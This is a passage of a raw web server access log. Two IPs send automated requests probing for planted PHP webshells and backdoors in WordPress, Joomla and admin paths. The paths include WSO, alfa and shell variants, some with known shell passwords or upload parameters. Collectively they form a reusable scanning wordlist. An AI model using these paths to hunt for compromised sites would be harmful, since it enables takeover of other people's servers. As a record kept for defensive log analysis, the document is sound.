/.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:41 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:41 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:41 -0400] "GET /.well-known/KOK1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:42 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:42 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:43 -0400] "GET /.well-known/acme-challenge/KOK1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:43 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:43 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:44 -0400] "GET /administrator/KOK1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:44 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:45 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:45 -0400] "GET /css/KOK1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:45 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:46 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:46 -0400] "GET /fonts/KOK1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:47 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:47 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:48 -0400] "GET /images/KOK1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:48 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:49 -0400] "GET /include/KOK1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:49 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:49 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:50 -0400] "GET /js/KOK1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:50 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:51 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:51 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 193.160.245.113 - - [29/Apr/2025:00:11:51 -0400] "GET /plugins/KOK1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:11:52 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:52 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:53 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:53 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:54 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:55 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:55 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:56 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:56 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:57 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:57 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:58 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:59 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:11:59 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:00 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:00 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:01 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:01 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:02 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:03 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:03 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:04 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:05 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:05 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:06 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:07 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:07 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:08 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:09 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:10 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:10 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:11 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:11 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:12 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:13 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:13 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:14 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:14 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:15 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:16 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:16 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:17 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:17 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:18 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:18 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:19 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:19 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:20 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:21 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:21 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:22 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:22 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:23 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:23 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:24 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:25 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:25 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:26 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:26 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:27 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:27 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:28 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:28 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:29 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:30 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:30 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:31 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:31 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:32 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:32 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:33 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:33 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:34 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:35 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:35 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:36 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:36 -0400] "GET //wp-content/index.php?pass=cfwk HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:37 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:37 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:38 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:38 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:39 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:40 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:40 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:41 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:41 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:42 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:42 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:43 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:43 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:44 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:45 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:45 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:46 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:46 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:47 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:47 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:48 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:49 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:49 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:50 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:50 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:51 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:52 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:52 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:53 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:54 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:54 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:55 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:55 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:56 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:57 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:57 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:58 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:58 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:12:59 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:00 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:01 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:01 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:02 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:03 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:04 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:04 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:05 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:06 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:07 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:07 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:08 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:09 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:09 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:10 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:11 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:11 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:12 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:12 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:13 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:14 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:14 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:15 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:15 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:16 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:17 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:17 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:18 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:18 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:19 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:19 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:20 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:21 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:22 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:22 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:23 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:23 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:24 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:25 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:25 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:26 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:27 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:27 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:28 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:28 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:29 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:29 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:30 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:31 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:31 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:32 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:32 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:33 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:33 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:34 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:34 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:35 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:36 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:36 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:37 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:37 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:38 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:38 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:39 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:39 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:40 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:40 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:41 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:42 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:42 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:43 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:43 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:44 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:44 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:45 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:45 -0400] "GET /api/.config.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:46 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:46 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - 